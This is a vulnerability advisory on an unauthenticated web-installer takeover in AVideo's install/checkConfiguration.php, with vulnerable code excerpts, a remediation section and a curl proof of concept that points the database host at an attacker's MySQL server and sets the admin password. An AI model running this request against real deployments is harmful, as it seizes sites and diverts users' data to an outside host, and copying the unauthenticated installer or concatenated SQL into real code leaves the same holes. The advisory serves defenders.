AVideo affected by unauthenticated application takeover via exposed web installer on uninitialized deployments

Summary

The install/checkConfiguration.php endpoint performs full application initialization — database setup, admin account creation, and configuration file write — from unauthenticated POST input. The only guard is checking whether videos/configuration.php already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access.

Affected Component

• install/checkConfiguration.php — entire file (lines 1-273)

Description

No authentication or access restriction on installer endpoint

The checkConfiguration.php file performs the most privileged operations in the application — creating the database schema, the admin account, and the configuration file — with no authentication, no setup token, no CSRF protection, and no IP restriction. The sole guard is a file-existence check:

// install/checkConfiguration.php — lines 2-5
if (file_exists("../videos/configuration.php")) {
    error_log("Can not create configuration again: ".  json_encode($_SERVER));
    exit;
}

If videos/configuration.php does not exist (fresh deployment, container restart without persistent storage, re-deployment), the entire installer runs with attacker-controlled POST parameters.

Attacker-controlled database host eliminates credential guessing

Unlike typical installer exposure vulnerabilities where the attacker must guess the target's database credentials, this endpoint allows the attacker to supply their own database host:

// install/checkConfiguration.php — line 25
$mysqli = @new mysqli($_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], "", $_POST['databasePort']);

The attacker can:

1. Run their own MySQL server with the AVideo schema pre-loaded
2. Set databaseHost to their server's IP
3. The connection succeeds (attacker controls the DB)
4. The configuration file is written pointing the application at the attacker's database permanently

Admin account creation with unsanitized input

The admin user is created with direct POST parameter concatenation into SQL:

// install/checkConfiguration.php — line 120
$sql = "INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', '"
     . $_POST['contactEmail'] . "', '" . md5($_POST['systemAdminPass']) . "', now(), now(), true)";

This has two issues: (1) the attacker controls the admin password, and (2) $_POST['contactEmail'] is directly concatenated into SQL without escaping (SQL injection).

Configuration file written with attacker-controlled values

The configuration file is written to disk with all attacker-supplied values embedded:

// install/checkConfiguration.php — lines 238-247
$videosDir = $_POST['systemRootPath'].'videos/';

if(!is_dir($videosDir)){
    mkdir($videosDir, 0777, true);
}

$fp = fopen("{$videosDir}configuration.php", "wb");
fwrite($fp, $content);
fclose($fp);

The $content variable (built at lines 188-236) embeds $_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], $_POST['webSiteRootURL'], $_POST['systemRootPath'], and $_POST['salt'] directly into the PHP configuration file.

Inconsistent defense: CLI installer is protected, web endpoint is not

The CLI installer (install/install.php) properly restricts access:

// install/install.php — lines 3-5
if (!isCommandLineInterface()) {
    die('Command Line only');
}

The web endpoint (checkConfiguration.php) lacks any equivalent protection, creating an inconsistent defense pattern.

No web server protection on install directory

There is no .htaccess file in the install/ directory. The root .htaccess does not block access to install/. The endpoint is directly accessible at /install/checkConfiguration.php.

Execution chain

1. Attacker discovers an AVideo instance where videos/configuration.php does not exist (fresh or re-deployed)
2. Attacker sends POST to /install/checkConfiguration.php with their own database host, admin password, and site configuration
3. The script connects to the attacker's database (or the target's with guessed/default credentials)
4. Tables are created, admin user is inserted with attacker's password
5. configuration.php is written to disk, permanently configuring the application
6. Attacker logs in as admin with full control over the application

Proof of Concept

Step 1: Set up an attacker-controlled MySQL server with the AVideo schema:

# On attacker's server
mysql -e "CREATE DATABASE avideo;"
mysql avideo < database.sql  # Use AVideo's own schema file

Step 2: Send the installation request to the target:

curl -s -X POST https://TARGET/install/checkConfiguration.php \
  -d 'systemRootPath=/var/www/html/AVideo/' \
  -d 'databaseHost=ATTACKER_MYSQL_IP' \
  -d 'databasePort=3306' \
  -d 'databaseUser=attacker' \
  -d 'databasePass=attacker_pass' \
  -d 'databaseName=avideo' \
  -d 'createTables=1' \
  -d 'contactEmail=attacker@example.com' \
  -d 'systemAdminPass=AttackerPass123!' \
  -d 'webSiteTitle=Pwned' \
  -d 'mainLanguage=en_US' \
  -d 'webSiteRootURL=https://TARGET/'

Step 3: Log in as admin:

Username: admin
Password: AttackerPass123!

The attacker now has full administrative access. If using their own database, they control all application data.

Impact

• Full application takeover: Attacker becomes the sole admin with complete control
• Persistent backdoor via configuration: The videos/configuration.php file is written with attacker-controlled database credentials, ensuring persistent access even after the attack
• Data exfiltration: If pointing to the attacker's database, all future user data (registrations, uploads, comments) flows to the attacker
• Remote code execution potential: Admin access in AVideo enables file uploads and plugin management, which can lead to arbitrary PHP execution
• SQL injection bonus: $_POST['contactEmail'] on line 120 is directly concatenated into SQL, allowing additional database manipulation

Recommended Remediation

Option 1: Add a one-time setup token (preferred)

Generate a random setup token during deployment that must be provided to complete installation:

// At the top of install/checkConfiguration.php, after the file_exists check:

// Require a setup token that was generated during deployment
$setupTokenFile = __DIR__ . '/../videos/.setup_token';
if (!file_exists($setupTokenFile)) {
    $obj = new stdClass();
    $obj->error = "Setup token file not found. Create videos/.setup_token with a random secret.";
    header('Content-Type: application/json');
    echo json_encode($obj);
    exit;
}

$expectedToken = trim(file_get_contents($setupTokenFile));
if (empty($_POST['setupToken']) || !hash_equals($expectedToken, $_POST['setupToken'])) {
    $obj = new stdClass();
    $obj->error = "Invalid setup token.";
    header('Content-Type: application/json');
    echo json_encode($obj);
    exit;
}

Option 2: Restrict installer to localhost/CLI only

Block web access to the installer entirely:

// At the top of install/checkConfiguration.php, after the file_exists check:
if (!isCommandLineInterface()) {
    $allowedIPs = ['127.0.0.1', '::1'];
    if (!in_array($_SERVER['REMOTE_ADDR'], $allowedIPs)) {
        header('Content-Type: application/json');
        echo json_encode(['error' => 'Installation is only allowed from localhost']);
        exit;
    }
}

Additionally, add an .htaccess file in the install/ directory:

# install/.htaccess
<Files "checkConfiguration.php">
    Require local
</Files>

Additional fixes needed

1. Parameterize SQL queries on line 120 to prevent SQL injection:

$stmt = $mysqli->prepare("INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', ?, ?, now(), now(), true)");
$hashedPass = md5($_POST['systemAdminPass']); // Also: upgrade from md5 to password_hash()
$stmt->bind_param("ss", $_POST['contactEmail'], $hashedPass);
$stmt->execute();

2. Upgrade password hashing from md5() to password_hash() with PASSWORD_BCRYPT or PASSWORD_ARGON2ID.

Credit

This vulnerability was discovered and reported by bugbunny.ai.